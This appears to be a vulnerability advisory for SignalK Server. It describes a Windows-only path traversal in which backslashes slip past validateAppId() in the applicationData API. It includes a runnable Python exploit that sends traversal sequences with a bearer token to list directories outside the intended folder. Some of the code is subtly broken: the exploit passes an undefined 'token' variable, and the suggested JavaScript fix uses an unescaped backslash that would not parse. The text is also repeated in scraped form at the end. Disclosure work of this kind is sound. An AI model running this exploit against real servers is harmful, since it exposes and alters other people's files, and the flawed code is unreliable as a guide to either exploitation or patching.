Summary
A Path Traversal vulnerability in SignalK Server's applicationData API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The validateAppId() function blocks forward slashes (/) but not backslashes (\), which are treated as directory separators by path.join() on Windows. This enables attackers to escape the intended applicationData directory.
Details
Platform: Windows (Linux only allows traversal up a single directory)
Authentication Required: Yes (ability to write depends on user's permission)
The vulnerability exists in the validateAppId() function within the applicationData API handler. This function validates the appid parameter but only checks for forward slashes:
// Simplified vulnerable code pattern
function validateAppId(appid) {
if (appid.includes('/') || appid.length >= 30) {
return false;
}
return true;
}
// Later used in path construction
const dataPath = path.join(configPath, 'applicationData', 'users', deviceId, appid);Root Cause:
- The validation only blocks
/ characters
- On Windows,
path.join() uses the platform's native path separator
- Windows treats both
/ and \ as valid directory separators
- Backslash-based traversal sequences like
..\..\.. pass validation
- When
path.join() processes these on Windows, each .. traverses up one directory level
PoC
#!/usr/bin/env python3
import argparse
import http.client
import json
import sys
from urllib.parse import urlparse
PREFIX = "/signalk/v1/applicationData"
def raw_get(base, path, token):
"""
GET using http.client so that '..' and backslashes in the URL
are sent literally (requests/urllib would normalise them away).
"""
parsed = urlparse(base)
host, port = parsed.hostname, parsed.port or 80
conn = http.client.HTTPConnection(host, port)
conn.request("GET", path, headers={"Authorization": f"Bearer {token}"})
resp = conn.getresponse()
status = resp.status
body = resp.read().decode("utf-8", errors="replace")
conn.close()
return status, body
def main():
ap = argparse.ArgumentParser(description="Signal K Windows path traversal PoC")
ap.add_argument("--target", required=True, help="e.g. http://192.168.1.100:3000")
ap.add_argument("--token", required=True, help="any valid JWT token")
args = ap.parse_args()
base = args.target.rstrip("/")
# On Windows, path.join(configPath, "applicationData", "users", id, appid)
# resolves each '..' upward when separated by backslashes.
#
# Depth from base (configPath/applicationData/users/):
# .. → applicationData/users/ (1 level)
# ..\.. → applicationData/ (2 levels)
# ..\..\.. → configPath (.signalk) (3 levels)
# ..\..\..\.. → user home directory (4 levels)
traversals = [
("..\\..\\..\\", ".signalk config directory"),
("..\\..\\..\\..\\", "user home directory"),
]
for appid, description in traversals:
path = f"{PREFIX}/user/{appid}"
status, body = raw_get(base, path, token, args.token)
print(f"[{status}] {description}")
print(f" GET {path}")
if status == 200:
try:
entries = json.loads(body)
for entry in entries:
print(f" {entry}")
except json.JSONDecodeError:
print(f" {body[:200]}")
else:
print(f" {body[:200]}")
print()
if __name__ == "__main__":
main()Reproduction Steps:
- Set up SignalK Server on a Windows machine
- Obtain a valid device or user authentication token
- Run the PoC script:
python3 poc_windows_appid_traversal.py --target http://[signalK server IP]:3000 --token <YOUR_TOKEN>
Recommended Fix
Short-term:
-
Add backslash validation to validateAppId():
function validateAppId(appid) {
if (appid.includes('/') || appid.includes('\') || appid.length >= 30) {
return false;
}
return true;
}
-
Use path.normalize() and validate that resolved paths remain within the intended directory:
const resolvedPath = path.normalize(path.join(baseDir, appid));
if (!resolvedPath.startsWith(path.normalize(baseDir))) {
throw new Error('Invalid path');
}
References
cchheang Finder
Summary
A Path Traversal vulnerability in SignalK Server's
applicationDataAPI allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. ThevalidateAppId()function blocks forward slashes (/) but not backslashes (\), which are treated as directory separators bypath.join()on Windows. This enables attackers to escape the intendedapplicationDatadirectory.Details
Platform: Windows (Linux only allows traversal up a single directory)
Authentication Required: Yes (ability to write depends on user's permission)
The vulnerability exists in the
validateAppId()function within the applicationData API handler. This function validates theappidparameter but only checks for forward slashes:Root Cause:
/characterspath.join()uses the platform's native path separator/and\as valid directory separators..\..\..pass validationpath.join()processes these on Windows, each..traverses up one directory levelPoC
Reproduction Steps:
Recommended Fix
Short-term:
Add backslash validation to
validateAppId():Use
path.normalize()and validate that resolved paths remain within the intended directory:References